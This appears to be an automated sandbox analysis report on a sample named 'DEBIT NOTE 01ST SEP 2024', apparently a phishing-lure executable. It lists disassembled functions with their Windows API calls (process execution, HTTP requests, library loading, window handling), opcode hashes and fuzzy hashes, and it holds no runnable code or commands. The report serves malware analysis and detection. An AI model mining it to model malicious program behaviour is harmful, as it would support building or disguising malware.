                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: \$]$h
                                          • API String ID: 4104443479-3262404753
                                          • Opcode ID: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
                                          • Instruction ID: f8aecd1968ad4f88b1990a67d2c0a139cd5c037738d7fdf96801fcbc28408ccb
                                          • Opcode Fuzzy Hash: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
                                          • Instruction Fuzzy Hash: 97518470E00209DFDF18CFA5C980AAEB7F2BF85304F29826AD405AB355D7385D45CB55
                                          Function 00457C53 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 158COMMON
                                          Download Yara Rule
                                          APIs
                                          • ShellExecuteExW.SHELL32(0000003C), ref: 00457D67
                                            • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                            • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                                          • CloseHandle.KERNEL32(?), ref: 00457E09
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseExecuteHandleShell_wcscpy_wcslen
                                          • String ID: <$@
                                          • API String ID: 2417854910-1426351568
                                          • Opcode ID: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
                                          • Instruction ID: b88a15a70aa0ad5f6f29005b2a8070d35214d1ef645994392ec84fe4d9ca6df0
                                          • Opcode Fuzzy Hash: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
                                          • Instruction Fuzzy Hash: C751D3719002089BDB10EFA1D985AAFB7B4EF44309F10446EED05AB352DB79ED49CB94
                                          Function 0044A856 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A87A
                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A8C9
                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0044A901
                                            • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                          • String ID:
                                          • API String ID: 3705125965-3916222277
                                          • Opcode ID: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
                                          • Instruction ID: d28fa13b4dde737238ce5dcfaacd3c540a76458eeabd88e5a6b3f8614e5f537b
                                          • Opcode Fuzzy Hash: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
                                          • Instruction Fuzzy Hash: DB310B76A802047AE720EF56DC42FDFB7A8EBD9710F00851FFA0097281D6B5550987AC
                                          Function 0045FA41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenuItemInfoW.USER32 ref: 0045FAC4
                                          • DeleteMenu.USER32(?,?,00000000), ref: 0045FB15
                                          • DeleteMenu.USER32(00000000,?,00000000), ref: 0045FB68
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$Delete$InfoItem
                                          • String ID: 0
                                          • API String ID: 135850232-4108050209
                                          • Opcode ID: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
                                          • Instruction ID: 2caf7e1b7ae413ca61a5456c92b2eab9e90ede26a48057f627e29f4096114103
                                          • Opcode Fuzzy Hash: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
                                          • Instruction Fuzzy Hash: CC41D2B1604201ABD710CF25CC45F17B7A9AF84315F148A2EFDA49B2C2D378E849CBA6
                                          Function 004507B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0045085F
                                          • GetWindowLongW.USER32(?,000000F0), ref: 0045087D
                                          • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0045088E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$Long
                                          • String ID: SysTreeView32
                                          • API String ID: 847901565-1698111956
                                          • Opcode ID: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
                                          • Instruction ID: 2f6c96d6d770cdd7f6b01965cae739f5ffbb06f7b8c4bfc7c6bf121f6b9a1f40
                                          • Opcode Fuzzy Hash: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
                                          • Instruction Fuzzy Hash: 34418D75500205ABEB10DF29DC84FEB33A8FB49325F20471AF865972D1D778E895CBA8
                                          Function 00434B02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadLibraryA.KERNEL32(?), ref: 00434B10
                                          • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00434B88
                                          • FreeLibrary.KERNEL32(?), ref: 00434B9F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Library$AddressFreeLoadProc
                                          • String ID: AU3_GetPluginDetails
                                          • API String ID: 145871493-4132174516
                                          • Opcode ID: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
                                          • Instruction ID: fc8523f5daf935d660d2a9c884068eb8da3e2fc1adb06f3317e0194b47a185ca
                                          • Opcode Fuzzy Hash: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
                                          • Instruction Fuzzy Hash: C24107B9600605EFC710DF59D8C0E9AF7A5FF89304B1082AAEA1A8B311D735FD52CB95
                                          Function 00450D6B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00450DFD
                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00450E16
                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00450E3E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window
                                          • String ID: SysMonthCal32
                                          • API String ID: 2326795674-1439706946
                                          • Opcode ID: aa3fdffd2c37c9d1283d502314bb1f920e47acbbfa02c8d10baeab348a12d0cc
                                          • Instruction ID: 97bf4b40409f6c90460d1384a7672ac630dd7a2161d32aee0dcf483843136ede
                                          • Opcode Fuzzy Hash: aa3fdffd2c37c9d1283d502314bb1f920e47acbbfa02c8d10baeab348a12d0cc
                                          • Instruction Fuzzy Hash: A93195752002046BDB10DEA9DC85FEB73BDEB9C724F104619FA24A72C1D6B4FC558B64
                                          Function 004509D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(00000000), ref: 00450A2F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DestroyWindow
                                          • String ID: msctls_updown32
                                          • API String ID: 3375834691-2298589950
                                          • Opcode ID: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
                                          • Instruction ID: fccd3fcc05e4e2aaf5990a1cc96ccc3c6d01ef6560d5fec67e6c7c3c5f699695
                                          • Opcode Fuzzy Hash: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
                                          • Instruction Fuzzy Hash: 213182767402056FE710DF58EC81FAB3368FF99710F10411AFA009B282C7B5AC96C7A8
                                          Function 0044DC13 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: $<
                                          • API String ID: 4104443479-428540627
                                          • Opcode ID: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
                                          • Instruction ID: e8c4ca86f7ae52158d8313b00b6d431508e51e3fea12eaab667d4a9530e7d8b8
                                          • Opcode Fuzzy Hash: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
                                          • Instruction Fuzzy Hash: A331EF30D04258DEFF25CFAAC9847EEBBB1AF11310F18419AD455A7382D7789E48CB25
                                          Function 0045D779 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D79D
                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DiskFreeSpace
                                          • String ID: \VH
                                          • API String ID: 1682464887-234962358
                                          • Opcode ID: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
                                          • Instruction ID: 72795a51c8fd7a71edb0939b11d44c3a5eb04741920228a3d2c34b8a4a3992bf
                                          • Opcode Fuzzy Hash: e9044521b94c7a2fd6e775d53faddef87f956e6addecf71534c1072a2e4d61eb
                                          • Instruction Fuzzy Hash: B5217171D002089FCB00EFA5D98499EBBB8FF48314F1184AAE805AB351D7349E05CB64
                                          Function 0045D78F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D79D
                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D85C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DiskFreeSpace
                                          • String ID: \VH
                                          • API String ID: 1682464887-234962358
                                          • Opcode ID: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
                                          • Instruction ID: ae55674c87016058c86dc8d4ad6f5a536cd264dc70ae423c542bf2f5a0a67e7a
                                          • Opcode Fuzzy Hash: 02922531bbe1fdf38ecd1c48401d7894eac39f8171a3426d51aa67f0eafe79b3
                                          • Instruction Fuzzy Hash: C9316F75E002089FCB00EFA5D985A9DBBB4FF48314F1080AAE904AB351CB75EE05CB94
                                          Function 0045D86D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D87B
                                          • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D8F0
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D93A
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$DiskFreeSpace
                                          • String ID: \VH
                                          • API String ID: 1682464887-234962358
                                          • Opcode ID: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
                                          • Instruction ID: e5212c229d9c2069cdfe567d9572a18bb695f81ecf44ad0a977260396f8f3e20
                                          • Opcode Fuzzy Hash: 657bf3a7bf4e4b0879eb54f11f0d4a47d1274a72e537d3786cc0042974389a76
                                          • Instruction Fuzzy Hash: E6316D75E002089FCB00EFA5D984A9EBBB4FF48314F1084AAE904AB351CB35DE05CB94
                                          Function 0045D36D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D37E
                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3F4
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D437
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$InformationVolume
                                          • String ID: \VH
                                          • API String ID: 2507767853-234962358
                                          • Opcode ID: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
                                          • Instruction ID: 9072e4f9bd6fffdf4d5f5b526d3ef1379cf95bcdbb04681c41660468616ecd75
                                          • Opcode Fuzzy Hash: 3e53e890434f9ea80ffb8b8b8863db28d9ef5c2317443d22617d365319ccab8e
                                          • Instruction Fuzzy Hash: E5213075A002099FC714EF95CD85EAEB7B8FF88300F1084AAE905A73A1D774EA45CB54
                                          Function 0045D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D55C
                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D5D2
                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D608
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorMode$InformationVolume
                                          • String ID: \VH
                                          • API String ID: 2507767853-234962358
                                          • Opcode ID: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
                                          • Instruction ID: 5d1496e5fec29648c5677f840c6a5ff7f703137340fc9510fe584f3610dc7e3a
                                          • Opcode Fuzzy Hash: d1fa58eff2fbb7cc6c51b85e489fdb3630b63cb8eb333212ecdab13a3ad88969
                                          • Instruction Fuzzy Hash: 88218271A00209AFC714EF95C885EAEB7B4FF48300F0084AEF505A72A1D774E905CB58
                                          Function 00450ACC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450B3B
                                          • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450B51
                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450B5F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend
                                          • String ID: msctls_trackbar32
                                          • API String ID: 3850602802-1010561917
                                          • Opcode ID: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
                                          • Instruction ID: cc80dcb7cd3031ad5716ab9229ca2671b5dcb2452333e47e40e099fef7a03d8b
                                          • Opcode Fuzzy Hash: b7bd052b599063d2228b5cfe26d5df8f76e43bb35df486dd72efd91b953fbf0c
                                          • Instruction Fuzzy Hash: 301196757403197BEB109EA8DC81FDB339CAB58B64F204216FA10A72C1D6B4FC5187A8
